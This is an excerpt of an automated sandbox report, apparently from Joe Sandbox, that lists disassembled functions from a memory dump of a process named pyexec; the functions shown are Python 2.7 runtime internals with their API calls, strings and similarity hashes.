PyList_Append.PYTHON27(?,?,?,?,?,?,?,?,?,?,6C0AE485,?,?,000000FE,?,?), ref: 6C0AE7D4
PyLong_FromVoidPtr.PYTHON27(?,?,?,?,?,?,?,?,?,6C0AE485,?,?,000000FE,?,?,?), ref: 6C0AE7F1
PyDict_Contains.PYTHON27(?,00000000,?,?,?,?,?,?,?,?,?,6C0AE485,?,?,000000FE,?), ref: 6C0AE80E
PyErr_SetString.PYTHON27(6C2E5D10,Circular reference detected,?,?,?,?,?,?,?,?,?,?,?,6C0AE485,?,?), ref: 6C0AE82F
PyDict_SetItem.PYTHON27(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C0AE485,?), ref: 6C0AE848
PyList_Append.PYTHON27(?,?,?,?,?,?,?,?,?,?,6C0AE485,?,?,000000FE,?,?), ref: 6C0AE863
PyObject_GetIter.PYTHON27(?,?,?,?,?,?,?,?,?,?,?,6C0AE485,?,?,000000FE,?), ref: 6C0AE882
PyObject_IsTrue.PYTHON27(?,?,?,?,?,?,?,?,?,?,?,?,6C0AE485,?,?,000000FE), ref: 6C0AE89C
PyIter_Next.PYTHON27(?,?,?,?,?,?,?,?,?,?,?,?,?,6C0AE485,?,?), ref: 6C0AE8B6
PyType_IsSubtype.PYTHON27(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C0AE485), ref: 6C0AE8F4
PyIter_Next.PYTHON27(?), ref: 6C0AEB1B

Strings

2.l, xrefs: 6C0AE8E2
Circular reference detected, xrefs: 6C0AE829
keys must be a string, xrefs: 6C0AEBAC
c.l, xrefs: 6C0AE918

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: String_$FromString$InternPlace$AppendDict_Iter_List_NextObject_$ContainsErr_ItemIterLong_SubtypeTrueType_Void
String ID: Circular reference detected$keys must be a string$2.l$c.l
API String ID: 570287457-1039691883
Opcode ID: 46c6acdce59f0cf2f70027a15f27a02aaa62e2b54fa5d0c5187c601329b7bd35
Instruction ID: 9ff4a8c7196519335a53b31174d1f4e60cec889a262ab2a8113f93777a7b534b
Opcode Fuzzy Hash: 46c6acdce59f0cf2f70027a15f27a02aaa62e2b54fa5d0c5187c601329b7bd35
Instruction Fuzzy Hash: 30E1A4B1A006059BDB00DFE5DD44B9E73F4AB45328F144628E83987B82E735EA67CBD1

Function 6C14E530 Relevance: 52.8, APIs: 26, Strings: 4, Instructions: 297
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PyString_FromStringAndSize.PYTHON27(00000000,?,?,?), ref: 6C14E57F
Py_FatalError.PYTHON27(PyEval_SaveThread: NULL tstate), ref: 6C14E5BC
InterlockedDecrement.KERNEL32(?), ref: 6C14E5D2
SetEvent.KERNEL32(00000000,?,?,?,?,?,?), ref: 6C14E5E0
fgetc.MSVCR90 ref: 6C14E60A
fgetc.MSVCR90 ref: 6C14E630
ferror.MSVCR90 ref: 6C14E67E
_errno.MSVCR90 ref: 6C14E68B
PyEval_RestoreThread.PYTHON27(00000000,?,?,?,?,?,?,?,?), ref: 6C14E69A
PyErr_CheckSignals.PYTHON27(?,?,?,?,?,?,?,?,?), ref: 6C14E6B1
clearerr.MSVCR90(?,?,?,?,?,?,?,?,?,?), ref: 6C14E6BF

Part of subcall function 6C14E130: Py_FatalError.PYTHON27(PyEval_SaveThread: NULL tstate), ref: 6C14E181
Part of subcall function 6C14E130: InterlockedDecrement.KERNEL32(?), ref: 6C14E19C
Part of subcall function 6C14E130: SetEvent.KERNEL32(00000000), ref: 6C14E1AA
Part of subcall function 6C14E130: memset.MSVCR90 ref: 6C14E1BF
Part of subcall function 6C14E130: fgets.MSVCR90 ref: 6C14E1CD
Part of subcall function 6C14E130: Py_FatalError.PYTHON27(PyEval_RestoreThread: NULL tstate), ref: 6C14E1EA
Part of subcall function 6C14E130: _errno.MSVCR90 ref: 6C14E1FB
Part of subcall function 6C14E130: InterlockedIncrement.KERNEL32(?), ref: 6C14E219
Part of subcall function 6C14E130: WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 6C14E22F
Part of subcall function 6C14E130: GetCurrentThreadId.KERNEL32 ref: 6C14E235
Part of subcall function 6C14E130: _errno.MSVCR90 ref: 6C14E244
Part of subcall function 6C14E130: memchr.MSVCR90 ref: 6C14E273

Strings

d, xrefs: 6C14E572
PyEval_RestoreThread: NULL tstate, xrefs: 6C14E70D
PyEval_SaveThread: NULL tstate, xrefs: 6C14E5B7
line is longer than a Python string can hold, xrefs: 6C14E872

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: ErrorFatalInterlocked_errno$DecrementEventThreadfgetc$CheckCurrentErr_Eval_FromIncrementObjectRestoreSignalsSingleSizeStringString_Waitclearerrferrorfgetsmemchrmemset
String ID: PyEval_RestoreThread: NULL tstate$PyEval_SaveThread: NULL tstate$d$line is longer than a Python string can hold
API String ID: 2239595103-3565407359
Opcode ID: ca572a88825f8bf2090b6078aa6fa96830569b97ade73534c73a07e7ced419c9
Instruction ID: 6c39d0e99f3ede5ed0262190ce5a194d9f3f53709115722932c13a864b666ceb
Opcode Fuzzy Hash: ca572a88825f8bf2090b6078aa6fa96830569b97ade73534c73a07e7ced419c9
Instruction Fuzzy Hash: CCB18D75E05206DBCF00CFA9D88469EBBB4BF09328F148265E815A7B40E735EA55CBD2

Function 6C0AA620 Relevance: 52.7, APIs: 11, Strings: 19, Instructions: 227
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6C0AA5B0: isdigit.MSVCR90 ref: 6C0AA5D4
Part of subcall function 6C0AA5B0: malloc.MSVCR90 ref: 6C0AA5F9
Part of subcall function 6C0AA5B0: memmove.MSVCR90(00000000,$Revision$,00000000), ref: 6C0AA60B

PyErr_NoMemory.PYTHON27 ref: 6C0AA64A

Part of subcall function 6C1C0380: PyErr_GivenExceptionMatches.PYTHON27(00000000,6C2E67A8,?,6C177E82,00000000,6C12B1D5,?,?,?,6C12F66F,00000000,?,00000000,6C12F785,00000000), ref: 6C1C0396
Part of subcall function 6C1C0380: PyErr_SetObject.PYTHON27(6C2E67A8,?), ref: 6C1C03B3

free.MSVCR90 ref: 6C0AA711
Py_GetBuildInfo.PYTHON27([MSC v.1500 32 bit (Intel)]), ref: 6C0AA71F
PyOS_snprintf.PYTHON27(6C322138,000000FA,%.80s (%.80s) %.80s,2.7.18,00000000,[MSC v.1500 32 bit (Intel)]), ref: 6C0AA739
PyOS_snprintf.PYTHON27(?,00000104,%I64d,?,?,executable-version,6C322138,6C322138,000000FA,%.80s (%.80s) %.80s,2.7.18,00000000,[MSC v.1500 32 bit (Intel)]), ref: 6C0AA76B
_getcwd.MSVCR90 ref: 6C0AA78E
PySys_GetObject.PYTHON27(path,current-directory,00000000), ref: 6C0AA7A6

Strings

<non-string-path-entry>, xrefs: 6C0AA80D
win32, xrefs: 6C0AA6DD
2.7.18, xrefs: 6C0AA725
sys.path must be a list, xrefs: 6C0AA8CC
executable, xrefs: 6C0AA704
yes, xrefs: 6C0AA67E, 6C0AA68A, 6C0AA6A1, 6C0AA6AD, 6C0AA6C4, 6C0AA6D0
%I64d, xrefs: 6C0AA75C
[MSC v.1500 32 bit (Intel)], xrefs: 6C0AA71A
requested-line-events, xrefs: 6C0AA6AE
%.80s (%.80s) %.80s, xrefs: 6C0AA72A
reported-performance-frequency, xrefs: 6C0AA778
sys-path-entry, xrefs: 6C0AA812, 6C0AA829
requested-line-timings, xrefs: 6C0AA6D1
executable-version, xrefs: 6C0AA743
requested-frame-timings, xrefs: 6C0AA68B
platform, xrefs: 6C0AA6E2
hotshot-version, xrefs: 6C0AA668
current-directory, xrefs: 6C0AA795
path, xrefs: 6C0AA7A1

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_$ObjectS_snprintf$BuildExceptionGivenInfoMatchesMemorySys__getcwdfreeisdigitmallocmemmove
String ID: %.80s (%.80s) %.80s$%I64d$2.7.18$<non-string-path-entry>$[MSC v.1500 32 bit (Intel)]$current-directory$executable$executable-version$hotshot-version$path$platform$reported-performance-frequency$requested-frame-timings$requested-line-events$requested-line-timings$sys-path-entry$sys.path must be a list$win32$yes
API String ID: 200927239-4293030901
Opcode ID: 758d6bb1922e109832933f626319ef2fd0498d0bae872635c5dff9f71697b31b
Instruction ID: 5dba470434cd001f3ef66f97cfac3f05835748ed38bffce69f3119dcb929f2e3
Opcode Fuzzy Hash: 758d6bb1922e109832933f626319ef2fd0498d0bae872635c5dff9f71697b31b
Instruction Fuzzy Hash: B3711871704B005BD624DAE89C45F9E73E49B4432CF184928F855DBF82DB25E90BCBD6

Function 6C1C5710 Relevance: 45.9, APIs: 15, Strings: 11, Instructions: 409
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strchr.MSVCR90 ref: 6C1C575F
strchr.MSVCR90 ref: 6C1C577D
PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Objects\dictobject.c,000006DD), ref: 6C1C57E1
PyErr_Format.PYTHON27(6C2E48B0,%s%s takes at most %d argument%s (%d given),?,6C1EAFEC,00000000,6C1EAF8E), ref: 6C1C582F
PyString_FromString.PYTHON27(?), ref: 6C1C58AF
PyDict_GetItem.PYTHON27(?,00000000), ref: 6C1C58C7
PyErr_Format.PYTHON27(6C2E48B0,Argument given by name ('%s') and position (%d),?,?), ref: 6C1C5904
PyErr_Format.PYTHON27(6C2E5248,more argument specifiers than keyword list entries (remaining format:'%s'),?), ref: 6C1C5A23
PyErr_Format.PYTHON27(6C2E48B0,Required argument '%s' (pos %d) not found,?,?), ref: 6C1C5A53
PyErr_Format.PYTHON27(6C2E5248,More keyword list entries (%d) than format specifiers (%d),?,00000000), ref: 6C1C5A9F
PyDict_Next.PYTHON27 ref: 6C1C5AFD
PyString_AsString.PYTHON27(?,?,?,?,?), ref: 6C1C5B26
PyErr_Format.PYTHON27(6C2E48B0,'%s' is an invalid keyword argument for this function,00000000,?,?,?,?,?), ref: 6C1C5B7A
PyDict_Next.PYTHON27(?,?,?,?,?,?,?,?,?), ref: 6C1C5B9B
PyErr_SetString.PYTHON27(6C2E48B0,keywords must be strings,?,?,?,?), ref: 6C1C5BDA

Strings

'%s' is an invalid keyword argument for this function, xrefs: 6C1C5B74
..\Objects\dictobject.c, xrefs: 6C1C57D6
%s%s takes at most %d argument%s (%d given), xrefs: 6C1C5829
%s:%d: bad argument to internal function, xrefs: 6C1C57DB
more argument specifiers than keyword list entries (remaining format:'%s'), xrefs: 6C1C5A1D
%s: '%s', xrefs: 6C1C5A4D
keywords must be strings, xrefs: 6C1C5BD4
Required argument '%s' (pos %d) not found, xrefs: 6C1C5A3A
function, xrefs: 6C1C5819, 6C1C5828
Argument given by name ('%s') and position (%d), xrefs: 6C1C58FE
More keyword list entries (%d) than format specifiers (%d), xrefs: 6C1C5A99

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_$Format$Dict_String$NextString_strchr$FromItem
String ID: %s%s takes at most %d argument%s (%d given)$%s: '%s'$%s:%d: bad argument to internal function$'%s' is an invalid keyword argument for this function$..\Objects\dictobject.c$Argument given by name ('%s') and position (%d)$More keyword list entries (%d) than format specifiers (%d)$Required argument '%s' (pos %d) not found$function$keywords must be strings$more argument specifiers than keyword list entries (remaining format:'%s')
API String ID: 3616505498-1988118272
Opcode ID: a88a08d9d1b61248cc058554f7cb7b41db91095efdc0db318e69468eee90b7d6
Instruction ID: 2c0c87a23278ab98f0bca0517def4fa7755589372bba70982feeb1da40cd39b8
Opcode Fuzzy Hash: a88a08d9d1b61248cc058554f7cb7b41db91095efdc0db318e69468eee90b7d6
Instruction Fuzzy Hash: 2ED1CF717083019FD300CF69C880A6BB7E5ABE9318F544A1DF89997740EB39E846DB93

Function 6C12BD70 Relevance: 42.2, APIs: 22, Strings: 2, Instructions: 230COMMON

Download Yara Rule

APIs

PyObject_GetBuffer.PYTHON27(?,?,0000011D), ref: 6C12BDD4
PyObject_GetBuffer.PYTHON27(?,?,0000011C), ref: 6C12BDEF

Part of subcall function 6C12B8D0: PyErr_Format.PYTHON27(6C2E48B0,'%100s' does not have the buffer interface,?), ref: 6C12B90F

PyBuffer_Release.PYTHON27(?), ref: 6C12BE00
PyErr_SetString.PYTHON27(6C2E6898,destination is too small to receive data from source), ref: 6C12BE27
PyBuffer_Release.PYTHON27(?,6C2E6898,destination is too small to receive data from source), ref: 6C12BE31
PyBuffer_Release.PYTHON27(?,?,6C2E6898,destination is too small to receive data from source), ref: 6C12BE3B
PyString_FromString.PYTHON27(both destination and source must have the buffer interface), ref: 6C12BFB6
PyErr_SetObject.PYTHON27(6C2E48B0,00000000,both destination and source must have the buffer interface), ref: 6C12BFBF

Strings

destination is too small to receive data from source, xrefs: 6C12BE21
both destination and source must have the buffer interface, xrefs: 6C12BFB1

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Buffer_Err_Release$BufferObject_String$FormatFromObjectString_
String ID: both destination and source must have the buffer interface$destination is too small to receive data from source
API String ID: 32417970-1250155686
Opcode ID: d8fb26207e96ae48e1e54c3edf7ebe37a4b16d8fcbe4534568cced36156a76b3
Instruction ID: 2136940f2559d1a8d92e22f4e44af52c7427e8f903449eeb6ce198f42a5335e8
Opcode Fuzzy Hash: d8fb26207e96ae48e1e54c3edf7ebe37a4b16d8fcbe4534568cced36156a76b3
Instruction Fuzzy Hash: E261167A6042014BD314DA25D840F9FB3B8EF9572CF100A69FE1693B40EB39D989CBD2

Function 6C16D6A0 Relevance: 40.7, APIs: 16, Strings: 7, Instructions: 411COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON27(6C2E63F8,string is too large,?), ref: 6C16D6C5
PyString_FromStringAndSize.PYTHON27(00000000,00000000,?), ref: 6C16D6EA
PyString_AsString.PYTHON27(00000000), ref: 6C16D6FA
_PyString_Resize.PYTHON27(00000000,00000000), ref: 6C16DAA5

Strings

decoding error; unknown error handling code: %.400s, xrefs: 6C16DACC
invalid \x escape, xrefs: 6C16DAE1
string is too large, xrefs: 6C16D6BF
strict, xrefs: 6C16D8DC
Trailing \ in string, xrefs: 6C16DABD
replace, xrefs: 6C16D910
ignore, xrefs: 6C16D94C

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: StringString_$Err_FromResizeSize
String ID: Trailing \ in string$decoding error; unknown error handling code: %.400s$ignore$invalid \x escape$replace$strict$string is too large
API String ID: 2177047574-549252062
Opcode ID: 46baf1be17792e9515766e3a1c62d936092dd673e0100472973ea34697a4294a
Instruction ID: 41382f2375a350c09d52ca11ed200e366564baf9324c022db10b665e64350d75
Opcode Fuzzy Hash: 46baf1be17792e9515766e3a1c62d936092dd673e0100472973ea34697a4294a
Instruction Fuzzy Hash: 7CE1347090C249DFDB01DF6AC8806AD7BB5AF16308F394298DC959BF41D335DA25CBA1

Function 6C177970 Relevance: 38.8, APIs: 17, Strings: 5, Instructions: 330COMMON

Download Yara Rule

APIs

malloc.MSVCR90 ref: 6C177A06
PyType_Ready.PYTHON27(6C314458), ref: 6C177A89
malloc.MSVCR90 ref: 6C177ACE
PyErr_NoMemory.PYTHON27 ref: 6C177ADB
PyString_FromString.PYTHON27(n_sequence_fields), ref: 6C177B44
PyString_InternInPlace.PYTHON27(00000000), ref: 6C177B57
PyDict_SetItem.PYTHON27(6C314458,00000000,?,00000000), ref: 6C177B65
malloc.MSVCR90 ref: 6C177BBE
PyErr_NoMemory.PYTHON27 ref: 6C177BCB
PyString_FromString.PYTHON27(n_fields), ref: 6C177C34
PyString_InternInPlace.PYTHON27(6C314458), ref: 6C177C47
PyDict_SetItem.PYTHON27(6C314458,6C314458,?,6C314458), ref: 6C177C55
malloc.MSVCR90 ref: 6C177CB1
PyErr_NoMemory.PYTHON27 ref: 6C177CBE
PyString_FromString.PYTHON27(n_unnamed_fields), ref: 6C177D25
PyString_InternInPlace.PYTHON27(6C2E2AA8), ref: 6C177D38
PyDict_SetItem.PYTHON27(6C314458,6C2E2AA8,?,6C2E2AA8), ref: 6C177D46

Strings

n_unnamed_fields, xrefs: 6C177D20
Db*l, xrefs: 6C177990
n_sequence_fields, xrefs: 6C177B3F
n_fields, xrefs: 6C177C2F
Db*l, xrefs: 6C177A36

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: String_$malloc$Dict_Err_FromInternItemMemoryPlaceString$ReadyType_
String ID: Db*l$Db*l$n_fields$n_sequence_fields$n_unnamed_fields
API String ID: 1094626962-1734933159
Opcode ID: 4a78c84768d1350b35c8d5958ae742884525d944c79b904084cddc9fadcba2e9
Instruction ID: 0feb741d9256dd858972f617aef5f8628b0ab4c51e46984aafa9bd00f70e554d
Opcode Fuzzy Hash: 4a78c84768d1350b35c8d5958ae742884525d944c79b904084cddc9fadcba2e9
Instruction Fuzzy Hash: 38D1E2B4A002029FEB15CF14C950A9AB7F5EF49328F19C16ADC069BB51E735EA41CBE1

Function 6C1A0430 Relevance: 38.8, APIs: 19, Strings: 3, Instructions: 271registrystringCOMMON

Download Yara Rule

APIs

malloc.MSVCR90 ref: 6C1A0483
memcpy.MSVCR90(00000000,6C322F2C,?,00000000), ref: 6C1A04BE
RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,?,?,?,00000000), ref: 6C1A04FE
RegQueryInfoKeyA.ADVAPI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,?,00000000,00000000,?,?,00000000), ref: 6C1A052A
malloc.MSVCR90 ref: 6C1A0551
memset.MSVCR90 ref: 6C1A057B
RegEnumKeyExA.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,?,?,?,00000000), ref: 6C1A05C2
RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,00000000,?,?,?,?,?,?,00000000), ref: 6C1A05EB
RegQueryValueExA.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000105,?,?,?,?,?,?,00000000), ref: 6C1A0611
malloc.MSVCR90 ref: 6C1A061E
RegQueryValueExA.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000105,?,?,?,?,?,?,?,00000000), ref: 6C1A0643
RegCloseKey.ADVAPI32(00000000,?,?,?,?,?,?,00000000), ref: 6C1A0662
malloc.MSVCR90 ref: 6C1A0685
strncpy.MSVCR90 ref: 6C1A06DE
RegQueryValueExA.ADVAPI32(?,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,00000000), ref: 6C1A072E
free.MSVCR90 ref: 6C1A0758
free.MSVCR90 ref: 6C1A076B
RegCloseKey.ADVAPI32(?), ref: 6C1A0782
free.MSVCR90 ref: 6C1A0793

Strings

,/2l, xrefs: 6C1A0450
Software\Python\PythonCore\, xrefs: 6C1A04A4
\PythonPath, xrefs: 6C1A04C3

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Querymalloc$Valuefree$CloseOpen$EnumInfomemcpymemsetstrncpy
String ID: ,/2l$Software\Python\PythonCore\$\PythonPath
API String ID: 1430883583-510465027
Opcode ID: 9ad2c0c7c196b2e5f027078e05b2905febd5b7cf7bf6cf89004c7a99a2fec606
Instruction ID: 1df9207fb2c1ad1ed9be5ce6210311646e661939c7ac5a1ed1733addd82fa343
Opcode Fuzzy Hash: 9ad2c0c7c196b2e5f027078e05b2905febd5b7cf7bf6cf89004c7a99a2fec606
Instruction Fuzzy Hash: C6A15374A002699FDB14CFA4CC85BEA7BB8EF49704F104198EA49E7241D771DE86CFA1

Function 6C0ADDF0 Relevance: 36.9, APIs: 11, Strings: 10, Instructions: 145COMMON

Download Yara Rule

APIs

PyArg_ParseTupleAndKeywords.PYTHON27(?,?,O:make_scanner,6C30B7F0,?), ref: 6C0ADE0A
PyObject_GetAttrString.PYTHON27(?,encoding), ref: 6C0ADE3F
PyString_InternFromString.PYTHON27(utf-8), ref: 6C0ADE7A
PyErr_Format.PYTHON27(6C2E48B0,encoding must be a string, not %.80s,?), ref: 6C0ADEDB

Strings

parse_int, xrefs: 6C0ADF4B
parse_constant, xrefs: 6C0ADF63
encoding must be a string, not %.80s, xrefs: 6C0ADED5
strict, xrefs: 6C0ADEEB
object_hook, xrefs: 6C0ADF03
O:make_scanner, xrefs: 6C0ADE03
object_pairs_hook, xrefs: 6C0ADF1B
parse_float, xrefs: 6C0ADF33
encoding, xrefs: 6C0ADE39
utf-8, xrefs: 6C0ADE75

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: String$Arg_AttrErr_FormatFromInternKeywordsObject_ParseString_Tuple
String ID: O:make_scanner$encoding$encoding must be a string, not %.80s$object_hook$object_pairs_hook$parse_constant$parse_float$parse_int$strict$utf-8
API String ID: 1133056520-3636494817
Opcode ID: ae99cd26c10e4cd133538b0eecf7c2c9a2107a21069edaaabc0ccc77bae74b92
Instruction ID: c2aeb75853e58a46d8f7885ad4a15dedb23ee5742087d08ef03e63b5087c7366
Opcode Fuzzy Hash: ae99cd26c10e4cd133538b0eecf7c2c9a2107a21069edaaabc0ccc77bae74b92
Instruction Fuzzy Hash: 0841AFB1A00706ABD710DFF5DC40B9B73F8AB1931CB144A58EC18D7B92EA35E916CB91

Function 6C187970 Relevance: 35.2, APIs: 15, Strings: 5, Instructions: 201COMMON

Download Yara Rule

APIs

